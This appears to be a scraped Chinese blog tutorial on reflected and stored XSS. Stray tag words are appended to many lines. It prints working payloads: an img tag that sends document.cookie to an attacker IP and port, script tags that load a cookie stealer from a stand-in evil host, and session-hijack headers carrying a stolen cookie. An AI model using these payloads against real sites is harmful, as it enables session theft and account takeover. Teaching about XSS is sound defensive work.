XSS 原名周樹人浙江李大釗,XSS其實不是XSS,是CSS避免和CSS3重名,更名叫XSS(Cross site Scripting)。javascript
準備參考這篇文章從新梳理一下什麼是xss,http://www.javashuo.com/article/p-cohygsyl-h.htmlhtml
攻擊的原理是什麼?java
一段壞人寫的代碼在你的瀏覽器上解釋執行!!node
裏面瀏覽器標籤的一些特性,讓用戶無心間執行已經被添加的惡意代碼,就能瀏覽器作一些有攻擊性的行爲。sql
XSS 分類json
反射形,xss:瀏覽器
以nodejs爲例,在使用query請求中若是客戶端訪問的是一段html代碼或js腳本,傳給服務端,服務端把傳參又做爲響應的數據安全
返回給客戶端。客戶端會執行這段代碼,這樣還不算是xss,服務器
再修改一下更形象。cookie
若是這個請求是惡意發給中間服務,中間服務作一些修改或保存這段參數,再把它返回給其餘的頁面請求,此時就須要https加密,中間服務器拿到消息也看不懂。
還有csp策略,防止html代碼被篡改。這段代碼也會在其餘頁面執行,這樣就很可怕。
Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'strict-dynamic'
const arr = ['1', '2', '3', '<img src="11" onerror="console.log(window.localStorage)" />'] const t = document.querySelector('#t') arr.forEach(item => { const p = document.createElement('p') p.innerHTML = item t.append(p) // 正常操做是插入的節點會執行onerror });
document.write("<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")
現代瀏覽器直接回拒絕你用這樣的方式操做dom文檔,由於受到CSP文檔安全策略的限制: http://www.javashuo.com/article/p-efzvatvo-cn.html
反射型也叫非持續性攻擊,只是單次操做攻擊,維基百科描述了一個這樣的故事:
Alice常常訪問一個特別的網站,這個網站是Bob的,他容許Alice用用戶名密碼登陸,並且會有一些敏感信息好比交易信息,當用戶登陸後瀏覽器會保持認證信息,服務端和客戶端都有Alice登陸的記錄。
有一天,Mallory發現Bob的網站有易遭攻擊的風險
Mallory用搜索到這個網站的主頁,輸入input值並說起,會有一個相似這樣的URL:http://bobssite.org/search?q=her%20search%20term
可是在輸入一些網站不能響應的書時,他會返回:xxx not found,好比:http://bobssite.org/search?q=puppies,返回 puppies not found
而後 Mallory想到一個壞主意,他將輸入換成了HTML字符串,例如:'<script type='application/javascript'>alert('xss');</script>'
這樣服務器返回給客戶端的時候,會在頁面插入這個標籤,並執行,客戶端會出現一個 彈框,內容是:xss。
而後 Mallory又進一步修改了傳參,他把puppies改爲了惡意腳本的連接,http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>
客戶端解析這個返回值,就會建立script標籤,請求這個惡意的腳本,你的網站就被攻擊了。
Mallory又進一步把連接加密改爲了不容易被發現的格式:
http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
更近一步,Mallory吧這個連接用e-mail給了Alice,Alice看到是Bob的網站,就點開了只是返回一個puppies not found,也並無在乎,單此時Alice的瀏覽器上的cookie信息交易信息,Mallory都已經能獲取到了,惡意腳本注入成功,開始用真實用戶的認證信息,交易信息,作一些一個違法的事情。
那應該如何避免這樣的違法的事情發生呢?
存儲型xss,也叫持久性xss攻擊
存儲形和反射行攻擊的區別是,儲存行會把提交的代碼存儲到服務器端,如文件系統,sql。下次攻擊的時候就不須要在提交代碼。
再看一個維基百科上的故事!
有一天,無聊的Mallory在Bob的網站上也註冊了一個帳戶,Bob的網站能夠留言
提交的留言都會展現在評論區,每一個人均可以看到
因而,Mallory給Bob的網站加了一句這樣的留言,I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
當其餘用戶好比Alice看到這個評論上有個連接,當他點擊這個連接的時候就會發生xss攻擊,每一個查看評論並點擊的人都會遇到xss攻擊。
這樣的攻擊就是一個持久化的xss。
敏感的帶有網絡請求的標籤有這樣幾種,在輸入時進行語法過濾!
<script> <link> <iframe> <img> <style>
如何用xss攻擊獲取他人的cookie呢?
< 黑客,受害者 >
黑客但願受害者帶着本身的cookie訪問黑客的服務器!!!
黑客引導受害者在dom中添加了這樣一段代碼:
document.write("<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")
當受害者訪問這個圖片連接時,就會帶上本身的cookie值,黑客只有等待有人訪問這個連接。
會話劫持
如何會話劫持呢?
在請求的 http header 中添加以下頭信息。
xssheaders = { 'Host': 'www.xsslabelgg.com', 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0', 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-GB,en;q=0.5', 'Accept-Encoding': 'json, text, gzip, deflate', 'Referer': 'http://www.xsslabelgg.com/profile/hackbiji', 'Cookie': 'particle=hgb32s34ekr20kdq6ttje8dct0', 'Connection': 'keep-alive', }
這樣黑客獲取到信息就能代替受害者,正常訪問服務器。